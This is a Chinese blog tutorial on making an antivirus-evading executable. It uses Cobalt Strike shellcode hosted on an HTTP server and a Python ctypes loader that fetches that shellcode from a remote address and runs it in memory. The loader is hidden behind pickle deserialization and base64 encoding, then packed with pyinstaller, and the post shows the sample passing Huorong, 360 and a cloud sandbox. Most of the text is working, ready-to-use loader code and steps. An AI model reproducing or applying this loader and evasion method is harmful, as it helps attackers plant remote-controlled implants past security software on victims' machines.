pyinstaller+cs生成免杀exe过杀毒软件

pyinstaller+cs生成免杀exe过杀毒软件

简介:

之前学习免杀都是使用Metasploit自带的编码进行,从未成功过。也使用过GitHub上别人提供的免杀方法,最近学习并实践发现绕过国内的杀毒软件貌似并不难,本文使用手工分析特征码,使用base64编码绕过杀毒软件静态分析。虽然使用的方法比较简单,但对实际做免杀及免杀研究还是有一定意义的。

项目工具 :

CobaltStrike(CS)
python
pyinstaller
windows7


通过cs免杀:

生成payload
pyinstaller+cs生成免杀exe过杀毒软件_第1张图片

生成C语言的payload

pyinstaller+cs生成免杀exe过杀毒软件_第2张图片
生成之后是一个payload.c的文件 把这个文件里面的unsigned char buf[] = 后面双引号里面的都复制一下 新创建一个文件夹(在这里我创建的是shellcode )在这个文件夹里面创建一个html网页(a.html) 把payload.c里面复制的放在这个a.html网页里面 在本文件夹通过python启动一个http服务
开启http服务

python -m http.server 8080

访问查看是否开启http服务 服务已经打开

#generate.py
import pickle
import base64
shellcode="""
import ctypes
import requests
import codecs
shellcode=requests.get("http://10.x.x.x:8080/a.html").text
shellcode=codecs.escape_decode(shellcode)[0]

shellcode = bytearray(shellcode)
# #设置VirtualAlloc返回类型为ctypes.c_uint64
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请内存
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))

# 放入shellcode
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
    ctypes.c_uint64(ptr),
    buf,
    ctypes.c_int(len(shellcode))
)
# 创建一个线程从shellcode防止位置首地址开始执行
handle = ctypes.windll.kernel32.CreateThread(
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.c_uint64(ptr),
    ctypes.c_int(0),
    ctypes.c_int(0),
    ctypes.pointer(ctypes.c_int(0))
)
# 等待上面创建的线程运行完
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle), ctypes.c_int(-1))
"""
class A():
    def __reduce__(self):
        return(exec,(shellcode,))
shellcode=pickle.dumps(A())
shellcode=base64.b64encode(shellcode)
with open('shellcode.txt','wb') as f:
    f.write(shellcode)
#pickle.loads(base64.b64decode(shellcode))

我们通过pickle库,先将shellcode序列化,在通过base64进行编码,然后写入shellcode.txt文件中,方便后面使用
我们python运行这个文件

pyinstaller+cs生成免杀exe过杀毒软件_第3张图片
我们最后面的代码为

#(evil.py)
import base64,pickle,ctypes,requests,codecs
shellcode=b'gASVQwQAAAAAAACMCGJ1aWx0aW5zlIwEZXhlY5STlFgkBAAACmltcG9ydCBjdHlwZXMKaW1wb3J0IHJlcXVlc3RzCmltcG9ydCBjb2RlY3MKc2hlbGxjb2RlPXJlcXVlc3RzLmdldCgiaHR0cDovLzEwLjEwLjYzLjIzNDo4MDgwL2EuaHRtbCIpLnRleHQKc2hlbGxjb2RlPWNvZGVjcy5lc2NhcGVfZGVjb2RlKHNoZWxsY29kZSlbMF0KCnNoZWxsY29kZSA9IGJ5dGVhcnJheShzaGVsbGNvZGUpCiMgI+iuvue9rlZpcnR1YWxBbGxvY+i/lOWbnuexu+Wei+S4umN0eXBlcy5jX3VpbnQ2NApjdHlwZXMud2luZGxsLmtlcm5lbDMyLlZpcnR1YWxBbGxvYy5yZXN0eXBlID0gY3R5cGVzLmNfdWludDY0CiMg55Sz6K+35YaF5a2YCnB0ciA9IGN0eXBlcy53aW5kbGwua2VybmVsMzIuVmlydHVhbEFsbG9jKGN0eXBlcy5jX2ludCgwKSwgY3R5cGVzLmNfaW50KGxlbihzaGVsbGNvZGUpKSwgY3R5cGVzLmNfaW50KDB4MzAwMCksCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGN0eXBlcy5jX2ludCgweDQwKSkKCiMg5pS+5YWlc2hlbGxjb2RlCmJ1ZiA9IChjdHlwZXMuY19jaGFyICogbGVuKHNoZWxsY29kZSkpLmZyb21fYnVmZmVyKHNoZWxsY29kZSkKY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5SdGxNb3ZlTWVtb3J5KAogICAgY3R5cGVzLmNfdWludDY0KHB0ciksCiAgICBidWYsCiAgICBjdHlwZXMuY19pbnQobGVuKHNoZWxsY29kZSkpCikKIyDliJvlu7rkuIDkuKrnur/nqIvku45zaGVsbGNvZGXpmLLmraLkvY3nva7pppblnLDlnYDlvIDlp4vmiafooYwKaGFuZGxlID0gY3R5cGVzLndpbmRsbC5rZXJuZWwzMi5DcmVhdGVUaHJlYWQoCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY19pbnQoMCksCiAgICBjdHlwZXMuY191aW50NjQocHRyKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5jX2ludCgwKSwKICAgIGN0eXBlcy5wb2ludGVyKGN0eXBlcy5jX2ludCgwKSkKKQojIOetieW+heS4iumdouWIm+W7uueahOe6v+eoi+i/kOihjOWujApjdHlwZXMud2luZGxsLmtlcm5lbDMyLldhaXRGb3JTaW5nbGVPYmplY3QoY3R5cGVzLmNfaW50KGhhbmRsZSksIGN0eXBlcy5jX2ludCgtMSkpCpSFlFKULg=='
pickle.loads(base64.b64decode(shellcode))

pyinstaller打包

然后进行打包,这里注意有一些杀毒软件,pyinstaller比较简单

pyinstaller -F (文件位置)文件名

pyinstaller+cs生成免杀exe过杀毒软件_第4张图片
我们用pyinstaller打包完成之后这个文件会在pyinstaller里面的dist的文件里面
打包完成后改个名字 用火绒, 360 ,微步在线云沙箱检测

检测报告

火绒
pyinstaller+cs生成免杀exe过杀毒软件_第5张图片
360
pyinstaller+cs生成免杀exe过杀毒软件_第6张图片

微步在线云沙箱
pyinstaller+cs生成免杀exe过杀毒软件_第7张图片

安全


总结

我们通过cs生成c语言的paload
复制粘贴paload到服务器的a.html中,通过python开启一个http服务
执行generate.py(将requests.get里的地址改成自己服务器的地址)生成base64编码
复制粘贴该base64编码到我们的evil.py,
通过pyinstaller打包生成exe


你可能感兴趣的:(maetsr,pyinstaller,python)